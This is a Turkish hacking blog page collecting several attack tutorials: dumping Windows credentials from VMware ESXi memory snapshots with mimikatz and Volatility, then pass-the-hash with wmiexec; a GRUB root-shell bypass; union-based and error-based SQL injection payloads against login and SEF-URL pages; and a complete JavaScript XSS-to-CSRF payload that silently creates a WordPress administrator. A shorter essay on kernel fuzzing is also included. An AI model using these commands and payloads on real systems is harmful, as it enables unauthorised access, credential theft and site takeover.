2 Mayıs 2020 Cumartesi

Vmware ESXI Virtual Machine Hacking (Linux,Windows)

Yazar: Ahmet Çelik(t4cs1zkr4L)

Vmware ESXI Virtual Machine Hacking (Linux,Windows) (Pass to Hash, Mimikatz, Windbg, Volatility )

Merhaba arkadaşlar, uzun süredir hem diaryofinjector hem vvhack için bir döküman yazma düşüncem vardı. Hazır 3 gün tatil bolca zamanımız varken bu dökümanı hazırlayalım dedik. Döküman başlıktan anlaşılacağı üzere Vmware üzerinde ki işletim sistemlerine ne tür saldırılar yapılabilir. Hem linux hem windows sistemlerini işleyeceğiz burada. Konu kendi içerisinde farklı konulara evrilecek. Pass to Hash, Windbg, Mimikatz, Volatility gibi teknik konuları ve araçları inceleyeceğiz. Döküman Vmware ESXI 6.5 üzerinde Pardus ve Windows Server 2008 R2 işletim sistemleri üzerinde denenmiştir. Pardus’a ve dostlara selam olsun. Artık başlayalım.

Bir sistemi hacklemeye çalışıyorken, hele ki büyük bir sistem mevzu bahis ise Vmware yüksek ihtimal karşılaşabileceğiniz bir sanallaştırma ürünüdür. Sistemde daha öne yakaladığınız bir şifre veya Active Directory üzerinden aldığınız bir user/pass Wmware erişimi olduğunu gördünüz. Bu noktadan sonra neler yapabiliriz. Çünkü sanal makinelere girmeye çalıştığımızda karşımıza şöyle bir ekran çıkacak.









Öncelikle işletim sistemimiz Linux ise çoğu kişinin bildiği açılışta GRUB menüsünden “e” tuşuna basarak sonrasında ro yazısını rw init=/bin/bash sonrasında Ctrl-X tuşu ile direk komut satırına düşebiliyoruz. Tabi bu dakikadan sonra ister user ekler ister şifre değiştirir ister backdoor atıp backconnect alıp Vmware’dan çıkarsınız size kalmış.








Tabi bu noktada şöyle bir sıkıntı var. Çalışan bir makineye bu işlemi yapmak ne kadar mantıklı. O yüzden genelde bu işlemi snapshot alarak yapmak daha mantıklı. Makinenin snapsotu alınır işlem yapılır. Shadow’dan şifre alınır kırılır. Diğer makinelere aynı userla giriş yapmak denenebilir veya id_rsa alınarak know_hosttaki makinelere ssh denenebilir. Saldırı olayları bu şekilde çeşitlendirilebilir.
İşletim sistemimiz Windows ise neler yapabiliriz? Bunun üzerine de bir kaç saldırı yöntemi anlatmaya çalışacağım. Öncelikle çalışan makinelerin snapshotu alınıp .vmem dediğimiz çalışan makinenin RAM processlerini dump edebiliriz. Daha sonra aldığımız bu .vmem dosyasın Vmware’nin vmss2core.exe eklentisiyle .dmp haline getirip ram üzerinde ki kullanıcıların şifrelerine erişebiliriz.

Öncelikle Vmware’de snapshot almayı kısaca açıklayalım; sanal makineye sağ tık yapılır. Snapshots > Take Snapshot (Name ve Description açıklamalar girilir ve snapshot oluşturulur) Bu snapshotlar unutmayın makineye verilen ram kapasitesi kadar çıkar. 4 GB ram ayrılmışsa snapshotunuzun .vmem dosyası 4 GB olacaktır. Tabi bunları kendi makinemize çekmek biraz sıkıntılı. Bu noktada Vmware’nin ssh’ını kullanabiliriz. Default olarak Vmware’de ssh aktif etmek gerek. Onuda aşağıda ki resimde ki gibi halledebilirsiniz.










Ssh üzerinden /vhms/volumes/machinename/ klasöründen scp ile kendi sunucunuza çekebilir veya datastore yardımıylada indirebilirsiniz. Boyutlar yüksek olduğu için ssh ile dosyayı tarlayabilirsiniz.













Şimdi .vmem .vmss dosyasını kendi makinemize çekiyoruz. Şimdi .vmem dosyamızı .dmp’e çevireceğiz. Bunun için Vmware’nin vmss2core.exe eklentisini kulanacağız. Komut satırından

"vmss2core.exe -W virtual_machine_name.vmss virtual_machine_name.vmem"

Komutu ile .dmp dosyamızı oluşturuyoruz. 32 bit için -W8 parametresi kullanılır.
















Evet artık RAM’imizin backupını aldık şimdi WinDBG ile ramimizi açıp mimikatz .dll ile processimizi öğrencez ve şifremizi alacağız. Mimikatz nedir nasıl çalışır ? Mimikatz windows işletim sistemlerinde ram üzerinde ki offset bilgileri okuyarak kullanıcı bilgilerin saldırgana aktarıldığı bir yazılımdır. Windows’da oturum açan her kullanıcının ntlm dediğimiz windows hashi ramlerde tutulur. Sign out olup rom üzerinde ki bilginin üzerine yeni bir bilgi gelene kadar.
Şimdi WinDBG’ı açıyoruz. .dmp dosyamızı File, Open Crash Dump seçeneğinden programa aktarıyoruz. WinDBG debug işlemi için symboller kullanır.Bunun için symbollerin yeniden dizin ayarlaması indirilmesi ve tekrar yüklenmesi için;
".symfix" , “.reload” komutlarını gönderiyoruz.
Şimdi sırada mimikatz’in .ddl’ini WinDBG yüklememiz gerekiyor. Bunun için;
.load C:\Users\vvhack\mimikatz\mimikatz.dll komutu ile dll WinDBG yüklüyoruz.
Daha sonrasında ram üzerinden lsass.exe çalıştığı processi bulmamız gerek. 
Bunun için ;
"!process 0 0 lsass.exe" komutu ile processimizi offset adresine ulaşıyoruz.
".process /r /p " komutu ile adrese impliot oluyoruz.
Artık sadece mimikatz çalıştırmak kaldı.
!mimikatz komutu ile mimikatzimizi çalıştırıyoruz. Sonuç:
* Username : Administrator * Domain : WIN-PLFLLV1KER8 * LM : 13ef99d22b622297ccf9155e3e7db453 * NTLM : 0eb4dabbd2a9141866f2ebb055ae172c * SHA1 : 8bcbea19a1bfb18ed322d68f44d758e644e638ca tspkg : * Username : Administrator * Domain : WIN-PLFLLV1KER8 * Password : vvhack!123













Biraz karışık olmuş olabilir. Resimden takip ederseniz daha iyi anlayacaksınızdır.
Bazı windows işletim sistemlerinde şifreni clear text olarak gelmesi engellenebiliyor. Bu durumda elimizde sadece ntlm hash olabiliyor. Aslında buda yeterli bir bilgi. Çünkü smb üzerinden “wmiexec” yardımıyla command promta düşebiliriz.
Bunun için wmiexec indiriyoruz. Kurulumu yapıyoruz ve sonrasında

wmiexec.py -hashes :ntlmhash Administrator@targetip komutu ile sisteme erişmiş olabiliyoruz.







Hatta Pass to Hash ile rdp bile atabiliriz. Onun için şu komutu kullanabilirsiniz.

mimikatz # sekurlsa::pth /user:“Administrator” /domain:“WIN-PLFLLV1KER8” /ntlm:0
eb4dabbd2a9141866f2ebb055ae172c /run:"mstsc.exe /restrictedadmin"

Unutmadan burada bir parantez açmak istiyorum (eğer makine https://support.microsoft.com/en-us/help/2984981/rdc-8-1-update-for-restricted-administration-in-windows-7-or-windows-s bu güncellemeyi almışsa rdp işini unutun)
evet şimdi farklı bir yöntem daha var ondan da kısaca bahsetmek istiyorum. 

Genellike çok bilinmez forensic için daha çok kullanılan bir yazılım ama volatility.
Aynı işlemi gelin volatility üzerinden yapalım.
Vol üzerinden işlemi yapmak için öncelikle bir profillendirme yapmamız gerekiyor. Dump debug ederek hangi işletim sistemi hangi komutları kullanmamız lazım v.s
Bunun için;
pardus@pardus:/tmp/volatility-master$ python vol.py imageinfo -f …/memory.dmp
ilk komutumuzu gönderiyoruz.

Suggested Profile(s) : No suggestion (Instantiated with Win10x64_15063)
AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
AS Layer2 : WindowsCrashDumpSpace64 (Unnamed AS)
AS Layer3 : FileAddressSpace (/tmp/memory.dmp)
PAE type : No PAE
DTB : 0x187000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2020-05-02 00:55:51 UTC+0000
Image local date and time : 2020-05-02 03:55:51 +0300








Görüldüğü üzere buralarda sapmalar olabiliyor. Bizim işletim sistemimiz Windows Server 2008 olmasına rağmen imageinfo’da Windows10 diyebiliyor. İşletim sistemini biliyorsanız iş daha kolay. Bu parametre bize profile için gerekli. Programın sağladığı profiller:

python vol.py --info
VistaSP0x64 - A Profile for Windows Vista SP0 x64
VistaSP0x86 - A Profile for Windows Vista SP0 x86
VistaSP1x64 - A Profile for Windows Vista SP1 x64
VistaSP1x86 - A Profile for Windows Vista SP1 x86
VistaSP2x64 - A Profile for Windows Vista SP2 x64
VistaSP2x86 - A Profile for Windows Vista SP2 x86
Win10x64 - A Profile for Windows 10 x64
Win10x86 - A Profile for Windows 10 x86
Win2003SP0x86 - A Profile for Windows 2003 SP0 x86
Win2003SP1x64 - A Profile for Windows 2003 SP1 x64
Win2003SP1x86 - A Profile for Windows 2003 SP1 x86
Win2003SP2x64 - A Profile for Windows 2003 SP2 x64
Win2003SP2x86 - A Profile for Windows 2003 SP2 x86
Win2008R2SP0x64 - A Profile for Windows 2008 R2 SP0 x64
Win2008R2SP1x64 - A Profile for Windows 2008 R2 SP1 x64
Win2008SP1x64 - A Profile for Windows 2008 SP1 x64
Win2008SP1x86 - A Profile for Windows 2008 SP1 x86
Win2008SP2x64 - A Profile for Windows 2008 SP2 x64
Win2008SP2x86 - A Profile for Windows 2008 SP2 x86
Win2012R2x64 - A Profile for Windows Server 2012 R2 x64
Win2012x64 - A Profile for Windows Server 2012 x64
Win7SP0x64 - A Profile for Windows 7 SP0 x64
Win7SP0x86 - A Profile for Windows 7 SP0 x86
Win7SP1x64 - A Profile for Windows 7 SP1 x64
Win7SP1x86 - A Profile for Windows 7 SP1 x86
Win81U1x64 - A Profile for Windows 8.1 Update 1 x64
Win81U1x86 - A Profile for Windows 8.1 Update 1 x86
Win8SP0x64 - A Profile for Windows 8 x64
Win8SP0x86 - A Profile for Windows 8 x86
Win8SP1x64 - A Profile for Windows 8.1 x64
Win8SP1x86 - A Profile for Windows 8.1 x86
WinXPSP1x64 - A Profile for Windows XP SP1 x64
WinXPSP2x64 - A Profile for Windows XP SP2 x64
WinXPSP2x86 - A Profile for Windows XP SP2 x86
WinXPSP3x86 - A Profile for Windows XP SP3 x86

Burada bizim profilimiz : Win2008R2SP1x64

Gerekli komutu gönderip kayıt defterlerinin offsetlerini alabiliriz.

pardus@pardus:/tmp/volatility-master$ python vol.py hivelist -f …/memory.dmp --profile=Win2008R2SP1x64
Volatility Foundation Volatility Framework 2.6.1
Virtual Physical Name

0xfffff8a00627a010 0x0000000133a67010 ??\C:\System Volume Information\Syscache.hve
0xfffff8a006d88010 0x00000001252de010 ??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a006d92010 0x000000012550d010 ??\C:\Users\Administrator\ntuser.dat
0xfffff8a00000e010 0x0000000136f9d010 [no name]
0xfffff8a0000232d0 0x0000000136fa82d0 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000057010 0x000000013705e010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a000f44010 0x0000000106380010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a00172c010 0x000000011485b010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a00542c010 0x0000000103d07010 \SystemRoot\System32\Config\SECURITY
0xfffff8a005496010 0x000000010468f010 \SystemRoot\System32\Config\SAM
0xfffff8a0054cc010 0x00000001034cc010 ??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a005534010 0x00000001028b0010 ??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a005e77010 0x00000001145fd010 \SystemRoot\System32\Config\DEFAULT









Artık hashdump ile şifreleri alabiliriz.

pardus@pardus:/tmp/volatility-master$ python vol.py hashdump -f …/memory.dmp --profile=Win2008R2SP1x64
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0eb4dabbd2a9141866f2ebb055ae172c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::









Evet işte bu kadar.
unutmayın ki windowsda sam,security ve system dosyalarına erişebilirseniz. Kullanıcı ntlmlerini çekebilirsiniz.
Evet dökümanımızın sonuna doğru geliyoken çok bahsettiğimiz mimikatzin düz çalışmasınıda bırakıp dökümanı sonlandırıyorum.
Admin olarak sisteme giriş yaptıktans onra mmikatz admin olarak çalıştırın.
sırasıyla;

privilege::debug
log a.log
sekurlsa::logonpasswords /all
komutları ile ntlm veya clear text şifrelere erişebilirsiniz.














Teşekkürler: Old School Tayfa

19 Ekim 2018 Cuma

Sef Url - PDO Injection

Merhaba arkadaşlar bu yazımda pdo ve sef url injectionu anlatacağım. Videolarda genelde html injection olarak anlatılıyor aslında yanlış bir tanım olur sef url için. Site içinde seo url ve db bağlantısı olarak pdo kullanılmaktadır.




Şimdi urlnin sonuna bir tırnak atalım ve sorgumuzu inceleyelim.

Sorgumuz aşağıdaki gibidir. Dışardan get olarak gelen "s" htaccess ile seo url ye dönüştürüp ekrana basıyor.



$s=$_GET["s"];
$urn = $db->prepare("SELECT * FROM referanslar where ref_seo='$s'");

Tırnak attık http://localhost/sefurl/ref/a-firmasi'
SELECT * FROM referanslar where ref_seo='' ve gönderdiğimiz tırnak sorguyu bozdu ve ekrana beyaz sayfa verdi.

Tırnaktan sonra sql sorgumuzu durdurma operatörlerini kullanarak sorgumuzun true dönmesini sağlıyoruz.

http://localhost/sefurl/ref/a-firmasi'-- -

SELECT * FROM referanslar where ref_seo='a-firmasi'-- -' 

sorgu true döndü ve içerikler ekrana basıldı




http://localhost/sefurl/ref/a-firmasi' order by 6-- - yaptık beyaz sayfa aldık. Yani 6'dan daha küçük bir column sayısı var.





http://localhost/sefurl/ref/a-firmasi' order by 5-- - yaptık true döndü sorgumuz. ve ekrana tekrar veriler geldi.




Şimdi veritabanındaki verileri çekmeye başlayabiliriz. Union select ile 5'e kadar yazıyoruz.
http://localhost/sefurl/ref/a-firmasi' union select 1,2,3,4,5-- - 




Ekrana sayılar geldi bunlar ne anlama gelir? Bunlar programcının kullandığı column numaraları yani örnek verecek olursak ekrana başlık ve içerik bilgileri yazdırılıyor phpmyadminden bakalım.



bizim union select sorgumuzda 3,4 sayıları ekrana vermişti programcının kullandığı columnların sayısı yani ref_baslik 3.sırada ref_icerik 4. sırada
lafı fazla uzatmadan veri çekmeye başlayalım.

Ekrana yansıyan sayıları union select sorgumuzdaki sayıların yerlerine database adını ve versionu yazdım.
http://localhost/sefurl/ref/a-firmasi' union select 1,2,database(),version(),5-- -
yazdık ve çıktıya bakıyoruz.


SELECT * FROM referanslar where ref_seo='a-firmasi' union select 1,2,database(),version(),5-- -'




Not: Sitelere göre değişiklik gösterebilir .html ile bitebilir site/sefurl/ref/a-firmasi.html sorguyu durdurma operatörleri sadece -- - değil --+ ,#, and'1 şeklinde sorguları durdurabilirsiniz.

Başka yazılarda görüşmek üzere.



8 Ağustos 2018 Çarşamba

Modern Bir Zafiyetin Anatomisi Vol. I

Son zamanlarda fuzzing project altında piyasaya çıkan yardımcı yazılımların davranışsal hareketlerini kısaca açıklamak istiyorum ve fuzzing project adı altında gerçekleşen uygulamaların sınıflarından bahsetmekte de fayda görüyorum. Öncelikle  Fuzzing: Brute Force Vulnerability Discovery kitabından alıntıyla fuzzing tanımı ve sınıflarını anlamak açısından kısa bir tanım yapalım;
Hedef yazılım üzerinde, girişlere tanımı yapılan belirli karakterler ile birlikte yazılımsal sorunların tespitine biz fuzzing diyoruz lakin son zamanlarda fuzzing project adı altında piyasada bulunan güvenlik araçlarının daha çok mantıksal açıklarla tanışmasıyla birlikte eski method 'stack overflow' benzeri açıkların yerini '
out-of-bounds access, use after free, type confusion, race condition' gibi yüksek derecede öneme sahip açıklar almıştır. 'Smart' ve 'Dumb' dediğimiz iki method türemiştir. Bu yüzden yukarıda belirttiğimiz sınıflara göz atmakta fayda var.
Bu açıklar white,black ve gray box testing olmak üzere 3 sınıf içinde inceleniyor. 
 
White Box; Kaynak kodları elinde olmakla birlikte 'blind' method olmaksızın yapılan tespitlere verilen ad.
Black Box; Kullanıcı kontrollü kaynak kod olmaksızın ve sadece input üstünde 'blind' method dediğimiz sistemle yapılan tespitlere verilen ad. Buna örnek olarak 'sql injection' denemelerini gösterebiliriz kaynak kod olmaksızın belirlenen karakterle sadece dış odaklı aramalar bu sınıfın tam tanımıdır.

Gray Box; Yukarıda tanımı yapılan her iki test aşamalarının uygulanmasına ise gray box fuzz türü diyebiliriz.


Fuzzing Project adı altında piyasaya sunulan 'Binary' bazlı uygulamalar ile birlikte bir devrim olmuş ve zaman aralığı olarak 2 yılda keşfedilen zafiyet sayısına 1 ay gibi kısa bir sürede ulaşılmıştır. Bu yüzden fuzzing project iyi tanımak, iyi anlamak ve uygulamalar üstünde süreklilik göstermek gerekir.

Linux tabanlı sistemlerde zafiyetlerin nasıl tetikleneceği ve bu zafiyetlerin alt yapısını inceleyeceğiz. Bildiğiniz üzere işletim sistemlerinde eğer bir zafiyet arayacaksanız ve dahi o zafiyeti bulduysanız tetiklemek ve o açıktan faydalanmak için o sistemlerin yapısını iyi bilmeniz gerekmektedir. Son zamanlarda çıkan yardımcı araçlarla beraber sistemlerde zafiyet tespiti, zafiyetin detaylı olarak konsept hali ve zafiyetlerin türleri kolay şekilde belirlenebilmektedir. Bunlara örnek vermek gerekirse eğer; hepimizin bildiği AFL Fuzzing, Honggfuzz, OSS-Fuzz ve piyasanın kernel bazında en iyi projesi olan Syzkaller geliyor bunlar ve bunlara benzer daha bir çok fuzzing projesi mevcut olmakla birlikte bunların yanı sıra; kasan, ktsan, kmsan ve kubsan gibi açık türünün tespitine dair ek yazılımlar geliştirilmiştir. Belirtilen yazılımlarla yüzlerce açık tespit edilmiş ve bunlardan bazıları 'exploit' edilirken bazıları için ise hızlı bir yama prosedürü uygulanmıştır.

Peki bunlar ne gibi açık türleri ve tespitleri nasıl yapılmaktadır ?

Yukarıda şematik olarak gösterilen imaj aslında Linux Kernel fuzzing için kullanılan 'Syzkaller' aracının çalışma methodu. (Bu araç ile bulunan açıklara referanslar listesinden göz gezdirebilirsiniz.)
Syzkaller aslında fuzzing ve sanitizer dediğimiz iki methodun birleşimi ile performans göstermektedir. Sadece kaynak kodlar üzerinde değil, harici bellekler ile özgün çalışmalarda da başarılı bir performans sergileyin syzkaller bu alanda şimdiye kadar geliştirilmiş en başarılı araç olarak görünüyor. USB-Exploitation denildiğinde aklıma gelen ilk makale sanırım bu olacak, çünkü etkili bir fuzzing tekniği ve fiziksel araçların kullanımıyla başarılı bir sonuç elde edilmesi bu alan ile ilgilenen kişiler için yeni fikirler ve keşifler demek olacak. Yazılımları fuzz edebilmek kadar, fuzz edilen yazılımın exploit edilebilmeside aynı ölçüde önem taşımaktadır. Kod blogları arasında bulunan her zafiyetin exploit edilemediğini anlamamız ve idrak etmemiz gerekiyor. Syzkaller ile bulunan zafiyetlerin en iyi şekilde incelenerek pratik olarak anlaşılması gerekmektedir. Size hazır POC sağlamış olması sizin o açığı sömürebileceğiniz anlamına gelmez. Linux Kernel Exploitation için bir çok adım atmanız gerekmektedir, bu adımların başında günbegün eklenen güvenlik önlemlerini aşmanızın yanı sıra o mimariyi iyi ve etkili şekilde kullanmanızda gerekir.


Neden ? Çünkü bir mimarinin nasıl bir algoritmayla çalıştığını anlayamazsanız o mimari ile ilgili fikir yürütemezsiniz. Mesela BSD mimarisinde meydana gelen bir use-after-free açığını UMA mimarisi bilmeden exploit edebilmeniz fazla imkanlı görünmüyor, aynı durum Linux ve Windows mimarilerde geçerli. Bu yüzden öncelikle exploit edeceğiniz açığın türevini, bu açığın etkileşimde olduğu kod bloğunu ve o açık türevini sömürmek için gerekli olan argümanları toplamamız gerekir. Örneğin use-after-free yahut double-free yahut null-pointer açıklarından faydalanabilmek için öncelikle bu açıkların ne işe yaradığını ve zafiyetin nasıl oluştuğunu ve nasıl tetikleneceğini bilmemiz gerekiyor. Mesela; bir use-after-free açığından faydalanmak için yukarıda belirttiğimiz üzere SL(AUO)B memory management mantığını bilmemiz gerekecek. Bunun yanı sıra Heap Spray(Sendmsg Heap Spraying) yöntemini ve SMEP & SMAP gibi güvenlik önlemlerini aşmamız gerekecek tabi bunların ROP yahut JIT gibi yöntemlerle iltisaklı olduğunu unutmamak gerekiyor. Bu yüzden sizin yerinize POC yazacak bir yazılım değil pratik olarak sizin anlayıp uyguladığınız bir yazılıma dönüşmesi gerekmektedir. Sonuçta kodları siz okumuyorsunuz ya da kod bloglarını siz incelemiyorsunuz tek yaptığınız farklı config ayarları ile birlikte belirtilen yazılımı fuzz etmek. Bu konulardan mütevellit bir kaç örnek ile konuyu genişletmekte fayda var, bunlardan birisi Heartbleed zafiyeti. Bu açık son zamanlarda görülmüş en büyük zafiyetlerden birisi olması hasebiyle ve büyük bir etki göstermesiyle adını duyurdu, OpenSSL kütüphanesinde meydana gelen bu açık ile beraber yahoo, flickr ve tumblr gibi birbirine bağlı ünlü siteleri etkilemekle beraber hassas bilgilerinde açığa çıkmasını sağladı. Peki bu açık nasıl keşfedildi ve açık keşfedilirken nelerden faydalanıldı muhakkak merak etmişsinizdir o zaman beraber gözatmakta fayda var. Devami vol. II(Heartbleed açığını detaylı incelemek ve etkilenen siteleri görmek için referans kısmını kontrol edebilirsiniz.)

 
Yukarıda ki resimde gördüğünüz üzere "selftls" olan bir dosya üstünde fuzzing işlemi gerçekleştiriyoruz. Bu aslında; üretilen sertifikanın handshake dediğimiz yöntemle fuzz edilmesi demektir. Bu bahsettiğimiz üzere bir memory allocator hatasından kaynaklanmaktadır. Bu hatayı detaylı olarak anlamak istiyorsanız My heart is ok, but my eyes are bleeding yazısıyla tam manasıyla vakıf olabilirsiniz. Fuzzing başlattık.




Fuzing başladıktan 21 saat sonrası AFL bir hata ile karşılaştığını belirtti. İşte tam olarak otomasyon mantığıyla çalışan fuzzing yazılımlarının görevi bu oluyor, kodları satır satır okuyan arkadaşlar için bir doğrulama yöntemi olmasının yanında "blind fuzzing" içinde ideal bir araç olmuş oluyor. Bulduğumuz bu 3 açık aslında tam olarak openssl'in "memory allocator" yapısıyla alakalı yani ortaya çıkan açık "heap-based buffer overflow" açığı. Yani siz "ssl" kullanan bir yapıya istek yaptığınızda gönderdiğiniz istek eğer "memory" aşacak bir istekse haliyle hafızada hata üretiyor. Bu gibi hatalar "alloc" edilmiş bir hafızanın taşması sonrası meydana geliyor lakin yukarıda verdiğimiz linkte göreceğiniz üzere "openssl" firması kendi "allocator" yapısını oluşturmuş ve bu yapı baştan sona sağma bir biçimde yazılımla adapte edilmiş gibi duruyor(yeni versiyonlarda rastlayamazsınız).
 

 


 Zaman ilerledikçe yapı üstünde ki hatalar artmaya devam ediyor. Bu "openssl allocator" yapısının yazılıma olan etkisi. (Biz burada 512-bit bir fuzz işlemi yapmıştık eğer bunu büyütmek isterseniz özgürsünüz bununla eşdeğer şekilde hızınızın düşeceğinide unutmayınız.) Handshake sırasında meydana gelen hataların çeşitliliği gitgide artıyor, bu "allocator" için sabit bir yapıyla gelen isteklerin 512-bit RSA olması gerektiğini düşünerek bu kadar alana sahip sabit bir alan ayırmasından ve bu alanın fazlasını karşılayamayacak esnek olmayan bir yapıya sahip olmasından kaynaklanıyor.

İlk bölüm burada bitsin, önümüzde ki bölümde açığın detaylı incelenmesi ve exploit edilmesiyle ilgili bir yazı yazacağız.
 
Sefa Karakuş


 

25 Nisan 2018 Çarşamba

Sitedeki Uygulamalar, Tool'lar ...

Sitedeki uygulama ve tool'ların bir kısmı içerik yayını yaptığım sunucuyu kapatmamdan dolayı, bir kısmı ise tool tarafından web isteklerinin gönderildiği sayfaların güncelliğini kaybetmesinden sonra askıya alınmıştır. Gerekli güncellemeler yapıldıktan sonra hepsi tekrar yayınlanacaktır.

Tools and applications published in this site are no more available because we have removed cdn server. Also some of them are not up to date because the web url's they were sending requests are no more available. We will publish them again and inform you when we have finished update process.

30 Mart 2018 Cuma

XSS to CSRF

Merhaba arkadaşlar bu yazımı wordpress üzerinde anlatacağım. Wordpress üzerindeki basit bir xss'i csrf ye dönüştürüp yeni bir yönetici eklemeyi göstereceğim.

CSRF - CROSS SITE REQUEST FORGERY
(Kullanıcının isteği dışında ve haberi olmadan dışarıdan müdahale)

Bildiğiniz gibi wordpress'in csrf saldırılarına önlem olarak kullanıcı için oluşturduğu bir token vardır ve bu token'in sayfadaki input id'si _wpnonce'tur.
Gelen isteklerde bu token üretilenle uyuşmazsa işlem gerçekleştirilmez.
Biz saldırıda wpnonce token'ını javascript ile alıp kendi post'umuzu yöneticinin haberi olmadan göndereceğiz.

Bu istek normal şartlar altında SOP önleminden dolayı yapamayacağımız bir istek ancak burada XSS açığımızdan faydalanacağız. Bu sayede SOP önlemini bypasslamış olacağız.
Bunun için XmlHttpRequest'i kullanacağız.
(XmlHttpRequest same-origin policy'dan dolayı  sadece aynı domaine istek gönderir.)
site = "http://localhost/wordpress";
kadi="batu";
sifre="diaryofinjector";
eposta="batu@diaryofinjector.com";
xhr = new XMLHttpRequest();
xhr.open("GET",site + "/wp-admin/user-new.php",true);
xhr.onreadystatechange=function() {
    if (xhr.readyState==4) {
            response=xhr.responseText;
            wtoken=response.split('hidden" id="_wpnonce')[1];
            wtoken=wtoken.split('"')[4];
            xhr.open("POST", site + "/wp-admin/user-new.php",true);
            xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

verigonder="action=createuser&_wpnonce_create-user=" + wtoken + "&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fuser-new.php&user_login="+ kadi + "&first_name=&last_name=&email=" +
eposta + "&url=&pass1=" + sifre + "&pass1-text=" + sifre + "&pass2=" + sifre + "&pw_weak=on&send_user_notification=1&role=administrator&createuser=Add+New+User"
   xhr.setRequestHeader("Content-Length",verigonder.length);
    xhr.send(verigonder);
    }
}
xhr.send(null); 

Kodumuz şu şekilde çalışıyor 
site, kadi, sifre, eposta şeklinde değerler tanımladık kod çalışmaya başladığı zaman şunlar gerçekleşir;

1-Wordpress yönetim paneline get gönderir
2-O anki yöneticinin _wpnonce(token değerini inputtan alır)
3-Ardından post işlemi yani yönetici ekleme işlemini başlatır.

Şimdi wordpress temasının yorum kısmındaki stored xss'imize bakalım 
<h1> deniyorum;















   
Sonuç Başarılı









Şimdi sıra geldi javascript kodumuzu src ile buraya çekmeye. 
Js yi çektikten sonra admin yorumu okur okumaz direk olarak panele batu adında yönetici oluşturacak.
<script src=//ip/ekle.js></script>
















Gönderdik.







Yönetici yorumu okuduğu zaman direk batu adında bir admin ekleyecek.






Tabi yönetici eklemek sadece bir örnek. Daha ileri saldırılar düzenleyip doğrudan temayı da editleyebilirsiniz. Hatta plugin içerisinde web shell bile yükletebilirsiniz. JS ile doğrudan raw http istekleri yaptırabilirsiniz. Buna multipart-form-data da dahil.


XSS ile yapılabilecek saldırılarda Cookie çalmaktan sonraki bir üst seviye saldırılar bu şekilde yapılabilir. Aynı zamanda httpOnly cookie türlerinden dolayı Cookie çalınamayan durumlarda bu tarz saldırılar düzenlenebilir. Tabi erişim izniniz olmayan (ip filtreli vs.) sayfalarda da bu saldırı geçerli olacaktır.

Bir sonraki yazımızda XSS ile http proxy tunneling saldırısını anlatacağım.
Önceki XSS yazılarımıza ise aşağıdan ulaşabilirsiniz:
http://www.diaryofinjector.com/search/label/XSS
Sonraki yazımızda görüşmek üzere ;)
İyi Günler




7 Aralık 2017 Perşembe

Mysql Error Based Injection


Bu yazımda extractvalue error based ile login bölümünden sql injection yapacağız.










Yukarıda gördüğünüz gibi normal bir login giriş bölümü şimdi rastgele birşeyler girelim.








Resimde gördüğünüz gibi hata verdi sql sorgumuzu inceleyelim;
select * from uyeler where username='asd' and password='asd'

şimdi bir de kullanıcı adı bölümüne: '=' 'or' ile deniyelim.
select * from uyeler where username=''=' 'or' ' and password=''=' 'or' '
yukarıdaki sorgudan anlaşılacağı gibi  username='' deki ve password='' deki
tırnakları aşmış sorguyu değiştirmiş oluyoruz böylece true dönüyor ve login oluyoruz.







Şimdi gelelim extractvalue ile veri çekmeye;
Kullanıcı adı bölümüne : a'and extractvalue(0x1,concat(0x1,(select database())))-- basit bir sorgu ile database adını çekmeyi deniyeceğiz şifre bölümüne ise ' tek tırnak koymanız yeterli -- ifadesi sorguyu kapatacağı için ' tırnak ile true döndüreceğiz sorguyu
select * from uyeler where username=a'and extractvalue(0x1,concat(0x1,(select database())))--' and password=' ve sonuçlara bakalım gördüğünüz gibi database adı geldi.






gördüğünüz gibi database adı geldi. Şimdi kolonları çekelim;

and extractvalue(0x1,concat(0x1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- yazıyoruz;







şimdi tek tek limitimizi değiştirip tek tek sorguları ekrana yazdırıyoruz.

and extractvalue(0x1,concat(0x1,(select column_name from information_schema.columns where table_schema=database() and table_name='uyeler' limit 0,1)))--
Not:Eğer -- veya # sorgu sonlandırılmıyorsa sorgunun sonuna and'1 ekleyerek de sorgunun syntax hatasız çalışması sağlanır.







üyeler tablosundakileri listeledik id , username , password var benim işimi yarıcak iki veri var username ve password şimdi sorgumuzu ona göre yazıp username ve password daki verileri ekrana yazdıracağız ve sonuç alttaki resimde olduğu gibi eğer veritabanında birden çok veri varsa limiti değiştirip çekebilirsiniz.





Not: Extravalue toplam 32 karakter döndürür daha fazlasını okumak için substring kullanılır.
Örnek Sorgu:'and 1=extravalue(null,concat(0x3a,(select substring(table_name,32,32) from information_schema.tables where table_schema=database() limit 1 offset 0)))

İyi günler.